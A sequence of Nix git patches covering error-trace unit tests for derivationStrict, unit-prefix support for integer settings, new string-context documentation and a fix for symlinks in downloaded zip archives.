--- a/tests/unit/libexpr/error_traces.cc
+++ b/tests/unit/libexpr/error_traces.cc
@@ -102,6 +102,74 @@ namespace nix {
             , type                                                          \
         )
 
+#define ASSERT_TRACE3(args, type, message, context1, context2)              \
+        ASSERT_THROW(                                                       \
+            std::string expr(args);                                         \
+            std::string name = expr.substr(0, expr.find(" "));              \
+            try {                                                           \
+                Value v = eval("builtins." args);                           \
+                state.forceValueDeep(v);                                    \
+            } catch (BaseError & e) {                                       \
+                ASSERT_EQ(PrintToString(e.info().msg),                      \
+                          PrintToString(message));                          \
+                ASSERT_EQ(e.info().traces.size(), 3) << "while testing " args << std::endl << e.what(); \
+                auto trace = e.info().traces.rbegin();                      \
+                ASSERT_EQ(PrintToString(trace->hint),                       \
+                          PrintToString(context1));                         \
+                ++trace;                                                    \
+                ASSERT_EQ(PrintToString(trace->hint),                       \
+                          PrintToString(context2));                         \
+                ++trace;                                                    \
+                ASSERT_EQ(PrintToString(trace->hint),                       \
+                          PrintToString(HintFmt("while calling the '%s' builtin", name))); \
+                throw;                                                      \
+            }                                                               \
+            , type                                                          \
+        )
+
+#define ASSERT_TRACE4(args, type, message, context1, context2, context3)    \
+        ASSERT_THROW(                                                       \
+            std::string expr(args);                                         \
+            std::string name = expr.substr(0, expr.find(" "));              \
+            try {                                                           \
+                Value v = eval("builtins." args);                           \
+                state.forceValueDeep(v);                                    \
+            } catch (BaseError & e) {                                       \
+                ASSERT_EQ(PrintToString(e.info().msg),                      \
+                          PrintToString(message));                          \
+                ASSERT_EQ(e.info().traces.size(), 4) << "while testing " args << std::endl << e.what(); \
+                auto trace = e.info().traces.rbegin();                      \
+                ASSERT_EQ(PrintToString(trace->hint),                       \
+                          PrintToString(context1));                         \
+                ++trace;                                                    \
+                ASSERT_EQ(PrintToString(trace->hint),                       \
+                          PrintToString(context2));                         \
+                ++trace;                                                    \
+                ASSERT_EQ(PrintToString(trace->hint),                       \
+                          PrintToString(context3));                         \
+                ++trace;                                                    \
+                ASSERT_EQ(PrintToString(trace->hint),                       \
+                          PrintToString(HintFmt("while calling the '%s' builtin", name))); \
+                throw;                                                      \
+            }                                                               \
+            , type                                                          \
+        )
+
+// We assume that expr starts with "builtins.derivationStrict { name =",
+// otherwise the name attribute position (1, 29) would be invalid.
+#define DERIVATION_TRACE_HINTFMT(name)                                      \
+        HintFmt("while evaluating derivation '%s'\n"                        \
+                "  whose name attribute is located at %s",                  \
+                name, Pos(1, 29, Pos::String{.source = make_ref<std::string>(expr)}))
+
+// To keep things simple, we also assume that derivation name is "foo".
+#define ASSERT_DERIVATION_TRACE1(args, type, message)                       \
+        ASSERT_TRACE2(args, type, message, DERIVATION_TRACE_HINTFMT("foo"))
+#define ASSERT_DERIVATION_TRACE2(args, type, message, context)              \
+        ASSERT_TRACE3(args, type, message, context, DERIVATION_TRACE_HINTFMT("foo"))
+#define ASSERT_DERIVATION_TRACE3(args, type, message, context1, context2)   \
+        ASSERT_TRACE4(args, type, message, context1, context2, DERIVATION_TRACE_HINTFMT("foo"))
+
     TEST_F(ErrorTraceTest, genericClosure) {
         ASSERT_TRACE2("genericClosure 1",
                       TypeError,
@@ -1185,7 +1253,6 @@ namespace nix {
     }
 
 
-    /* // Needs different ASSERTs
     TEST_F(ErrorTraceTest, derivationStrict) {
         ASSERT_TRACE2("derivationStrict \"\"",
                       TypeError,
@@ -1197,102 +1264,115 @@ namespace nix {
                       HintFmt("attribute '%s' missing", "name"),
                       HintFmt("in the attrset passed as argument to builtins.derivationStrict"));
 
-        ASSERT_TRACE2("derivationStrict { name = 1; }",
+        ASSERT_TRACE3("derivationStrict { name = 1; }",
                       TypeError,
-                      HintFmt("expected a string but found %s: %s", "an integer", "1"),
-                      HintFmt("while evaluating the `name` attribute passed to builtins.derivationStrict"));
+                      HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)),
+                      HintFmt("while evaluating the `name` attribute passed to builtins.derivationStrict"),
+                      HintFmt("while evaluating the derivation attribute 'name'"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; }",
-                      TypeError,
-                      HintFmt("required attribute 'builder' missing"),
-                      HintFmt("while evaluating derivation 'foo'"));
+        ASSERT_DERIVATION_TRACE1("derivationStrict { name = \"foo\"; }",
+                      EvalError,
+                      HintFmt("required attribute 'builder' missing"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __structuredAttrs = 15; }",
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __structuredAttrs = 15; }",
                       TypeError,
-                      HintFmt("expected a Boolean but found %s: %s", "an integer", "15"),
+                      HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)),
                       HintFmt("while evaluating the `__structuredAttrs` attribute passed to builtins.derivationStrict"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __ignoreNulls = 15; }",
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __ignoreNulls = 15; }",
                       TypeError,
-                      HintFmt("expected a Boolean but found %s: %s", "an integer", "15"),
+                      HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)),
                       HintFmt("while evaluating the `__ignoreNulls` attribute passed to builtins.derivationStrict"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = 15; }",
-                      TypeError,
-                      HintFmt("invalid value '15' for 'outputHashMode' attribute"),
-                      HintFmt("while evaluating the attribute 'outputHashMode' of derivation 'foo'"));
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = 15; }",
+                      EvalError,
+                      HintFmt("invalid value '%s' for 'outputHashMode' attribute", "15"),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = \"custom\"; }",
-                      TypeError,
-                      HintFmt("invalid value 'custom' for 'outputHashMode' attribute"),
-                      HintFmt("while evaluating the attribute 'outputHashMode' of derivation 'foo'"));
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = \"custom\"; }",
+                      EvalError,
+                      HintFmt("invalid value '%s' for 'outputHashMode' attribute", "custom"),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = {}; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = {}; }",
                       TypeError,
-                      HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"),
-                      HintFmt("while evaluating the attribute 'system' of derivation 'foo'"));
+                      HintFmt("cannot coerce %s to a string: { }", "a set"),
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "system", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = {}; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = {}; }",
                       TypeError,
-                      HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"),
-                      HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'"));
+                      HintFmt("cannot coerce %s to a string: { }", "a set"),
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"drv\"; }",
-                      TypeError,
-                      HintFmt("invalid derivation output name 'drv'"),
-                      HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'"));
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"drvPath\"; }",
+                      EvalError,
+                      HintFmt("invalid derivation output name 'drvPath'"),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = []; }",
-                      TypeError,
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; outputs = \"out\"; __structuredAttrs = true; }",
+                      EvalError,
+                      HintFmt("expected a list but found %s: %s", "a string", "\"out\""),
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo"));
+
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = []; }",
+                      EvalError,
                       HintFmt("derivation cannot have an empty set of outputs"),
-                      HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'"));
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"drv\" ]; }",
-                      TypeError,
-                      HintFmt("invalid derivation output name 'drv'"),
-                      HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'"));
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"drvPath\" ]; }",
+                      EvalError,
+                      HintFmt("invalid derivation output name 'drvPath'"),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"out\" \"out\" ]; }",
-                      TypeError,
-                      HintFmt("duplicate derivation output 'out'"),
-                      HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'"));
+        ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"out\" \"out\" ]; }",
+                      EvalError,
+                      HintFmt("duplicate derivation output '%s'", "out"),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __contentAddressed = \"true\"; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __contentAddressed = \"true\"; }",
                       TypeError,
                       HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""),
-                      HintFmt("while evaluating the attribute '__contentAddressed' of derivation 'foo'"));
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "__contentAddressed", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }",
                       TypeError,
                       HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""),
-                      HintFmt("while evaluating the attribute '__impure' of derivation 'foo'"));
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }",
                       TypeError,
                       HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""),
-                      HintFmt("while evaluating the attribute '__impure' of derivation 'foo'"));
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = \"foo\"; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = \"foo\"; }",
                       TypeError,
                       HintFmt("expected a list but found %s: %s", "a string", "\"foo\""),
-                      HintFmt("while evaluating the attribute 'args' of derivation 'foo'"));
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ {} ]; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ {} ]; }",
                       TypeError,
-                      HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"),
-                      HintFmt("while evaluating an element of the argument list"));
+                      HintFmt("cannot coerce %s to a string: { }", "a set"),
+                      HintFmt("while evaluating an element of the argument list"),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ \"a\" {} ]; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ \"a\" {} ]; }",
                       TypeError,
-                      HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"),
-                      HintFmt("while evaluating an element of the argument list"));
+                      HintFmt("cannot coerce %s to a string: { }", "a set"),
+                      HintFmt("while evaluating an element of the argument list"),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo"));
 
-        ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; FOO = {}; }",
+        ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; FOO = {}; }",
                       TypeError,
-                      HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"),
-                      HintFmt("while evaluating the attribute 'FOO' of derivation 'foo'"));
-
+                      HintFmt("cannot coerce %s to a string: { }", "a set"),
+                      HintFmt(""),
+                      HintFmt("while evaluating attribute '%s' of derivation '%s'", "FOO", "foo"));
     }
-    */
 
 } /* namespace nix */

From 79c7d6205c2f06cb2f0c00ea5cdfbdad5b7befa4 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Thu, 16 Feb 2023 15:16:30 +0100
Subject: [PATCH 104/528] Support unit prefixes in configuration settings

E.g. you can now say `--min-free 1G`.
---
 doc/manual/src/command-ref/conf-file-prefix.md | 7 +++++++
 src/libutil/config-impl.hh                     | 7 ++++---
 tests/functional/config.sh                     | 7 ++++++-
 tests/functional/gc-auto.sh                    | 4 ++--
 4 files changed, 19 insertions(+), 6 deletions(-)

diff --git a/doc/manual/src/command-ref/conf-file-prefix.md b/doc/manual/src/command-ref/conf-file-prefix.md
index 1e408597754..627806cfbda 100644
--- a/doc/manual/src/command-ref/conf-file-prefix.md
+++ b/doc/manual/src/command-ref/conf-file-prefix.md
@@ -66,5 +66,12 @@ Configuration options can be set on the command line, overriding the values set
 
 The `extra-` prefix is supported for settings that take a list of items (e.g. `--extra-trusted users alice` or `--option extra-trusted-users alice`).
 
+## Integer settings
+
+Settings that have an integer type support the suffixes `K`, `M`, `G`
+and `T`. These cause the specified value to be multiplied by 2^10,
+2^20, 2^30 and 2^40, respectively. For instance, `--min-free 1M` is
+equivalent to `--min-free 1048576`.
+
 # Available settings
 
diff --git a/src/libutil/config-impl.hh b/src/libutil/config-impl.hh
index 1da0cb6389e..1d349fab5db 100644
--- a/src/libutil/config-impl.hh
+++ b/src/libutil/config-impl.hh
@@ -116,10 +116,11 @@ T BaseSetting<T>::parse(const std::string & str) const
 {
     static_assert(std::is_integral<T>::value, "Integer required.");
 
-    if (auto n = string2Int<T>(str))
-        return *n;
-    else
+    try {
+        return string2IntWithUnitPrefix<T>(str);
+    } catch (...) {
         throw UsageError("setting '%s' has invalid value '%s'", name, str);
+    }
 }
 
 template<typename T>
diff --git a/tests/functional/config.sh b/tests/functional/config.sh
index efdf2a95850..efdafa8ca7d 100644
--- a/tests/functional/config.sh
+++ b/tests/functional/config.sh
@@ -66,4 +66,9 @@ exp_features=$(nix config show | grep '^experimental-features' | cut -d '=' -f 2
 # Test that it's possible to retrieve a single setting's value
 val=$(nix config show | grep '^warn-dirty' | cut -d '=' -f  2 | xargs)
 val2=$(nix config show warn-dirty)
-[[ $val == $val2 ]]
\ No newline at end of file
+[[ $val == $val2 ]]
+
+# Test unit prefixes.
+[[ $(nix config show --min-free 64K min-free) = 65536 ]]
+[[ $(nix config show --min-free 1M min-free) = 1048576 ]]
+[[ $(nix config show --min-free 2G min-free) = 2147483648 ]]
diff --git a/tests/functional/gc-auto.sh b/tests/functional/gc-auto.sh
index 521d9e53969..281eef20da3 100644
--- a/tests/functional/gc-auto.sh
+++ b/tests/functional/gc-auto.sh
@@ -62,11 +62,11 @@ EOF
 )
 
 nix build --impure -v -o $TEST_ROOT/result-A -L --expr "$expr" \
-    --min-free 1000 --max-free 2000 --min-free-check-interval 1 &
+    --min-free 1K --max-free 2K --min-free-check-interval 1 &
 pid1=$!
 
 nix build --impure -v -o $TEST_ROOT/result-B -L --expr "$expr2" \
-    --min-free 1000 --max-free 2000 --min-free-check-interval 1 &
+    --min-free 1K --max-free 2K --min-free-check-interval 1 &
 pid2=$!
 
 # Once the first build is done, unblock the second one.

From 77a406a5a68d6f5fdd18629f7e2ce19bc21ec0ca Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Thu, 16 Feb 2023 17:31:20 +0100
Subject: [PATCH 105/528] Fix warning

---
 src/libutil/util.hh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index 11a0431da89..8b049875a89 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -120,7 +120,7 @@ std::optional<N> string2Int(const std::string_view s)
 template<class N>
 N string2IntWithUnitPrefix(std::string_view s)
 {
-    N multiplier = 1;
+    uint64_t multiplier = 1;
     if (!s.empty()) {
         char u = std::toupper(*s.rbegin());
         if (std::isalpha(u)) {

From b5605217ae7c3c29dbf887ffdf4e72b176f535b3 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 8 May 2024 17:14:00 -0400
Subject: [PATCH 106/528] Document string context (#8595)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* Document string context

Now what we have enough primops, we can document how string contexts
work.

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com>
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
Co-authored-by: Felix Uhl <iFreilicht@users.noreply.github.com>
---
 doc/manual/src/SUMMARY.md.in              |   1 +
 doc/manual/src/glossary.md                |  11 ++
 doc/manual/src/language/string-context.md | 134 ++++++++++++++++++++++
 src/libexpr/primops/context.cc            |  19 ++-
 4 files changed, 161 insertions(+), 4 deletions(-)
 create mode 100644 doc/manual/src/language/string-context.md

diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index c64c1daad1e..fdfd0a92722 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -27,6 +27,7 @@
   - [Language Constructs](language/constructs.md)
     - [String interpolation](language/string-interpolation.md)
     - [Lookup path](language/constructs/lookup-path.md)
+    - [String context](language/string-context.md)
   - [Operators](language/operators.md)
   - [Derivations](language/derivations.md)
     - [Advanced Attributes](language/advanced-attributes.md)
diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md
index 88916bb5084..cbffda187eb 100644
--- a/doc/manual/src/glossary.md
+++ b/doc/manual/src/glossary.md
@@ -218,6 +218,17 @@
 - [output closure]{#gloss-output-closure}\
   The [closure] of an [output path]. It only contains what is [reachable] from the output.
 
+- [deriving path]{#gloss-deriving-path}
+
+  Deriving paths are a way to refer to [store objects][store object] that ar not yet [realised][realise].
+  This is necessary because, in general and particularly for [content-addressed derivations][content-addressed derivation], the [output path] of an [output] is not known in advance.
+  There are two forms:
+
+  - *constant*: just a [store path]
+    It can be made [valid][validity] by copying it into the store: from the evaluator, command line interface or another store.
+
+  - *output*: a pair of a [store path] to a [derivation] and an [output] name.
+
 - [deriver]{#gloss-deriver}
 
   The [store derivation] that produced an [output path].
diff --git a/doc/manual/src/language/string-context.md b/doc/manual/src/language/string-context.md
new file mode 100644
index 00000000000..88ae0d8b0a1
--- /dev/null
+++ b/doc/manual/src/language/string-context.md
@@ -0,0 +1,134 @@
+# String context
+
+> **Note**
+>
+> This is an advanced topic.
+> The Nix language is designed to be used without the programmer consciously dealing with string contexts or even knowing what they are.
+
+A string in the Nix language is not just a sequence of characters like strings in other languages.
+It is actually a pair of a sequence of characters and a *string context*.
+The string context is an (unordered) set of *string context elements*.
+
+The purpose of string contexts is to collect non-string values attached to strings via
+[string concatenation](./operators.md#string-concatenation),
+[string interpolation](./string-interpolation.md),
+and similar operations.
+The idea is that a user can combine together values to create a build instructions for derivations without manually keeping track of where they come from.
+Then the Nix language implicitly does that bookkeeping to efficiently obtain the closure of derivation inputs.
+
+> **Note**
+>
+> String contexts are *not* explicitly manipulated in idiomatic Nix language code.
+
+String context elements come in different forms:
+
+- [deriving path]{#string-context-element-derived-path}
+
+  A string context element of this type is a [deriving path](@docroot@/glossary.md#gloss-deriving-path).
+  They can be either of type [constant](#string-context-constant) or [output](#string-context-output), which correspond to the types of deriving paths.
+
+  - [Constant string context elements]{#string-context-constant}
+
+    > **Example**
+    >
+    > [`builtins.storePath`] creates a string with a single constant string context element:
+    >
+    > ```nix
+    > builtins.getContext (builtins.storePath "/nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10")
+    > ```
+    > evaluates to
+    > ```nix
+    > {
+    >   "/nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10" = {
+    >     path = true;
+    >   };
+    > }
+    > ```
+
+    [deriving path]: @docroot@/glossary.md#gloss-deriving-path
+    [store path]: @docroot@/glossary.md#gloss-store-path
+    [`builtins.storePath`]: ./builtins.md#builtins-storePath
+
+  - [Output string context elements]{#string-context-output}
+
+    > **Example**
+    >
+    > The behavior of string contexts are best demonstrated with a built-in function that is still experimental: [`builtins.outputOf`].
+    > This example will *not* work with stable Nix!
+    >
+    > ```nix
+    > builtins.getContext
+    >   (builtins.outputOf
+    >     (builtins.storePath "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv")
+    >     "out")
+    > ```
+    > evaluates to
+    > ```nix
+    > {
+    >   "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv" = {
+    >     outputs = [ "out" ];
+    >   };
+    > }
+    > ```
+
+    [`builtins.outputOf`]: ./builtins.md#builtins-outputOf
+
+- [*derivation deep*]{#string-context-element-derivation-deep}
+
+  *derivation deep* is an advanced feature intended to be used with the
+  [`exportReferencesGraph` derivation attribute](./advanced-attributes.html#adv-attr-exportReferencesGraph).
+  A *derivation deep* string context element is a derivation path, and refers to both its outputs and the entire build closure of that derivation:
+  all its outputs, all the other derivations the given derivation depends on, and all the outputs of those.
+
+  > **Example**
+  >
+  > The best way to illustrate *derivation deep* string contexts is with [`builtins.addDrvOutputDependencies`].
+  > Take a regular constant string context element pointing to a derivation, and transform it into a "Derivation deep" string context element.
+  >
+  > ```nix
+  > builtins.getContext
+  >   (builtins.addDrvOutputDependencies
+  >     (builtins.storePath "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv"))
+  > ```
+  > evaluates to
+  > ```nix
+  > {
+  >   "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv" = {
+  >     allOutputs = true;
+  >   };
+  > }
+  > ```
+
+  [`builtins.addDrvOutputDependencies`]: ./builtins.md#builtins-addDrvOutputDependencies
+  [`builtins.unsafeDiscardOutputDependency`]: ./builtins.md#builtins-unsafeDiscardOutputDependency
+
+## Inspecting string contexts
+
+Most basically, [`builtins.hasContext`] will tell whether a string has a non-empty context.
+
+When more granular information is needed, [`builtins.getContext`] can be used.
+It creates an [attribute set] representing the string context, which can be inspected as usual.
+
+[`builtins.hasContext`]: ./builtins.md#builtins-hasContext
+[`builtins.getContext`]: ./builtins.md#builtins-getContext
+[attribute set]: ./values.md#attribute-set
+
+## Clearing string contexts
+
+[`buitins.unsafeDiscardStringContext`](./builtins.md#builtins-unsafeDiscardStringContext) will make a copy of a string, but with an empty string context.
+The returned string can be used in more ways, e.g. by operators that require the string context to be empty.
+The requirement to explicitly discard the string context in such use cases helps ensure that string context elements are not lost by mistake.
+The "unsafe" marker is only there to remind that Nix normally guarantees that dependencies are tracked, whereas the returned string has lost them.
+
+## Constructing string contexts
+
+[`builtins.appendContext`] will create a copy of a string, but with additional string context elements.
+The context is specified explicitly by an [attribute set] in the format that [`builtins.hasContext`] produces.
+A string with arbitrary contexts can be made like this:
+
+1. Create a string with the desired string context elements.
+   (The contents of the string do not matter.)
+2. Dump its context with [`builtins.getContext`].
+3. Combine it with a base string and repeated [`builtins.appendContext`] calls.
+
+[`builtins.appendContext`]: ./builtins.md#builtins-appendContext
diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc
index 2d3013132f7..8c3f1b4e8b0 100644
--- a/src/libexpr/primops/context.cc
+++ b/src/libexpr/primops/context.cc
@@ -14,8 +14,11 @@ static void prim_unsafeDiscardStringContext(EvalState & state, const PosIdx pos,
 
 static RegisterPrimOp primop_unsafeDiscardStringContext({
     .name = "__unsafeDiscardStringContext",
-    .arity = 1,
-    .fun = prim_unsafeDiscardStringContext
+    .args = {"s"},
+    .doc = R"(
+        Discard the [string context](@docroot@/language/string-context.md) from a value that can be coerced to a string.
+    )",
+    .fun = prim_unsafeDiscardStringContext,
 });
 
 
@@ -75,7 +78,11 @@ static RegisterPrimOp primop_unsafeDiscardOutputDependency({
     .name = "__unsafeDiscardOutputDependency",
     .args = {"s"},
     .doc = R"(
-      Create a copy of the given string where every "derivation deep" string context element is turned into a constant string context element.
+      Create a copy of the given string where every
+      [derivation deep](@docroot@/language/string-context.md#string-context-element-derivation-deep)
+      string context element is turned into a
+      [constant](@docroot@/language/string-context.md#string-context-element-constant)
+      string context element.
 
       This is the opposite of [`builtins.addDrvOutputDependencies`](#builtins-addDrvOutputDependencies).
 
@@ -137,7 +144,11 @@ static RegisterPrimOp primop_addDrvOutputDependencies({
     .name = "__addDrvOutputDependencies",
     .args = {"s"},
     .doc = R"(
-      Create a copy of the given string where a single constant string context element is turned into a "derivation deep" string context element.
+      Create a copy of the given string where a single
+      [constant](@docroot@/language/string-context.md#string-context-element-constant)
+      string context element is turned into a
+      [derivation deep](@docroot@/language/string-context.md#string-context-element-derivation-deep)
+      string context element.
 
       The store path that is the constant string context element should point to a valid derivation, and end in `.drv`.
 

From 9951e14ae085c818a11e28c0d530a111c1e2ab86 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Thu, 9 May 2024 19:33:09 +0200
Subject: [PATCH 107/528] Handle zip files containing symlinks

In streaming mode, libarchive doesn't handle symlinks in zip files
correctly. So write the entire file to disk so libarchive can access
it in random-access mode.

Fixes #10649. This was broken in cabee9815239af426cece729cb765810b8a716ce.
---
 src/libfetchers/tarball.cc          |  20 +++++++++++++++++++-
 tests/functional/flakes/prefetch.sh |   6 ++++++
 tests/functional/flakes/tree.zip    | Bin 0 -> 455 bytes
 tests/functional/local.mk           |   1 +
 4 files changed, 26 insertions(+), 1 deletion(-)
 create mode 100644 tests/functional/flakes/prefetch.sh
 create mode 100644 tests/functional/flakes/tree.zip

diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index e19b1850560..d03ff82cedd 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -145,9 +145,27 @@ DownloadTarballResult downloadTarball(
 
     // TODO: fall back to cached value if download fails.
 
+    AutoDelete cleanupTemp;
+
     /* Note: if the download is cached, `importTarball()` will receive
        no data, which causes it to import an empty tarball. */
-    TarArchive archive { *source };
+    auto archive =
+        hasSuffix(toLower(parseURL(url).path), ".zip")
+        ? ({
+                /* In streaming mode, libarchive doesn't handle
+                   symlinks in zip files correctly (#10649). So write
+                   the entire file to disk so libarchive can access it
+                   in random-access mode. */
+                auto [fdTemp, path] = createTempFile("nix-zipfile");
+                cleanupTemp.reset(path);
+                debug("downloading '%s' into '%s'...", url, path);
+                {
+                    FdSink sink(fdTemp.get());
+                    source->drainInto(sink);
+                }
+                TarArchive{path};
+          })
+        : TarArchive{*source};
     auto parseSink = getTarballCache()->getFileSystemObjectSink();
     auto lastModified = unpackTarfileToSink(archive, *parseSink);
 
diff --git a/tests/functional/flakes/prefetch.sh b/tests/functional/flakes/prefetch.sh
new file mode 100644
index 00000000000..bfd0533f9d0
--- /dev/null
+++ b/tests/functional/flakes/prefetch.sh
@@ -0,0 +1,6 @@
+source common.sh
+
+# Test symlinks in zip files (#10649).
+path=$(nix flake prefetch --json file://$(pwd)/tree.zip | jq -r .storePath)
+[[ $(cat $path/foo) = foo ]]
+[[ $(readlink $path/bar) = foo ]]
diff --git a/tests/functional/flakes/tree.zip b/tests/functional/flakes/tree.zip
new file mode 100644
index 0000000000000000000000000000000000000000..f9e4d225fe04d51a8fed588cb94352bece51efe9
GIT binary patch
literal 455
zcmWIWW@h1H0D(ufD<i-RD8b4g!%$L`nyMcf!pXpV{jyCO2$xoHGcdBeU}j)oNdYPh
z0BdIgvK|7puShkjV*#>3m;<IgEk7S@!d0N|hnOY+rMV!c05yRfp_p3S12mrjgyE(n
zB^Kdx2hfxNZ$>6LW?X)e0GSR10t{~*K{V87tPr1J_zGeac7H*PVgwqpq|qK`6xf$Q
